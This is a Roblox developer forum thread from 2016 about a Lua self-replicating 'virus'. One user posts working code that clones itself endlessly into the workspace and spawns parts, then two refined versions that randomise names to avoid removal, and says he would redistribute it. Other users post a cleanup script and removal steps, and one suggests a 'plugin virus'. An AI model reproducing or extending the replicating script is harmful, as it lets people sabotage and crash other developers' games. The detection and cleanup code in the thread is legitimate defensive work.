Agluk15
|
  |
| Joined: 13 Feb 2016 |
| Total Posts: 193 |
|
|
| 20 Feb 2016 12:45 PM |
Assuming they don't remove _G.y before the script can get clones going..
_G.y = script:Clone()script:Destroy()local lastclone=_G.y;while wait()do lastclone.Parent=workspace;lastclone=lastclone:Clone()Instance.new("Part",workspace).Size=Vector3.new(10,10,10)end
|
|
|
| Report Abuse |
|
|
|
| 20 Feb 2016 12:52 PM |
local clean; function clean(instance) if (instance:isA("Script") and (instance.Source == [[_G.y = script:Clone()script:Destroy()local lastclone=_G.y;while wait()do lastclone.Parent=workspace;lastclone=lastclone:Clone()Instance.new("Part",workspace).Size=Vector3.new(10,10,10)end]])) then instance.Source = '' instance.Disabled = true instance.Archivable = true instance:destroy() _G.y = nil end for _, child in next, (instance:getChildren()) do clean(child) end end
clean(game.Workspace) game.Workspace.childAdded:connect(clean) |
|
|
| Report Abuse |
|
|
Agluk15
|
  |
| Joined: 13 Feb 2016 |
| Total Posts: 193 |
|
|
| 20 Feb 2016 12:54 PM |
Source is a protected property, and I could easily bypass that.
V2.0:
_G.y = script:Clone()script:Destroy()tab={'"','/','\\','%','$','#','@','^','*','(',')','<','>','.',',','\'','|','+','=','-','_','`','~','!','1','2','3','4','5','6','7','8','9','0'}r=function()return math.random(1,#tab)end;getR=function()return tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]..tab[r()]end;lastclone=_G.y;while wait()do random=getR()lastclone.Name=random;lastclone.Parent=workspace;lastclone=lastclone:Clone()Instance.new("Part",workspace).Size=Vector3.new(10,10,10)end |
|
|
| Report Abuse |
|
|
|
| 20 Feb 2016 12:55 PM |
Its not protected in the command bar, why would someone be trying to clear a virus in game and not in studio?
And if you change the source of your virus I can just change the source my script looks for. |
|
|
| Report Abuse |
|
|
Agluk15
|
  |
| Joined: 13 Feb 2016 |
| Total Posts: 193 |
|
|
| 20 Feb 2016 12:59 PM |
Yes but it wouldn't matter because you would have to change it every time I reupload my virus and distribute it. You would have to do hourly checks, because, believe me, I have no life.
And if you run it in command bar, it doesn't stay in-game. You would have to manually destroy my script.
Anyways, this is still inefficient but I cleaned it up just a bit.
_G.y=script:Clone()script:Destroy()t={'"','/','\\','%','$','#','@','^','*','(',')','<','>','.',',','\'','|','+','=','-','_','`','~','!','1','2','3','4','5','6','7','8','9','0'}lc=_G.y;while wait()do lc.Name=t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)]..t[math.random(1,#t)];lc.Parent=workspace;lc=lc:Clone()Instance.new('Part',workspace).Size=Vector3.new(10,10,10)end |
|
|
| Report Abuse |
|
|
|
| 20 Feb 2016 01:02 PM |
| So what? I could just make a plugin that lets you select the virus script and then it can destroy all scripts that match it. |
|
|
| Report Abuse |
|
|
|
| 20 Feb 2016 01:03 PM |
Also you aren't the first person to say "but I can just change the source every hour!"
Well how is that any different than if I was dealing with a different virus? It doesn't make any difference if you change the viruses code because I've already removed it...? |
|
|
| Report Abuse |
|
|
Agluk15
|
  |
| Joined: 13 Feb 2016 |
| Total Posts: 193 |
|
|
| 20 Feb 2016 01:04 PM |
I would just change the script name. Simple.
Anyways, there are infinite ways we could just go around each other's security; no method is perfect. We shouldn't be arguing, I was just pointing out that this is one of the hardest methods to break (because other scripts don't even try to hide it, so not many developers are attuned to stopping this). |
|
|
| Report Abuse |
|
|
|
| 20 Feb 2016 01:08 PM |
| But my script never checks the name of your script so it wouldn't make a difference. |
|
|
| Report Abuse |
|
|
Casualist
|
  |
| Joined: 26 Jun 2014 |
| Total Posts: 4443 |
|
|
| 20 Feb 2016 01:09 PM |
Play game, notice there is a virus.
Go into studio. Enter Playsolo. Run: game:GetService("ScriptContext").ScriptsDisabled = true
Run some kinda virus cleanup, preferably something that looks for a large number of scripts with the same source (Plugin can save the virus definition or something). Close playsolo, run same plugin on game. And virus is gone. |
|
|
| Report Abuse |
|
|
|
| 20 Feb 2016 01:17 PM |
Or better yet just make a plugin virus
|
|
|
| Report Abuse |
|
|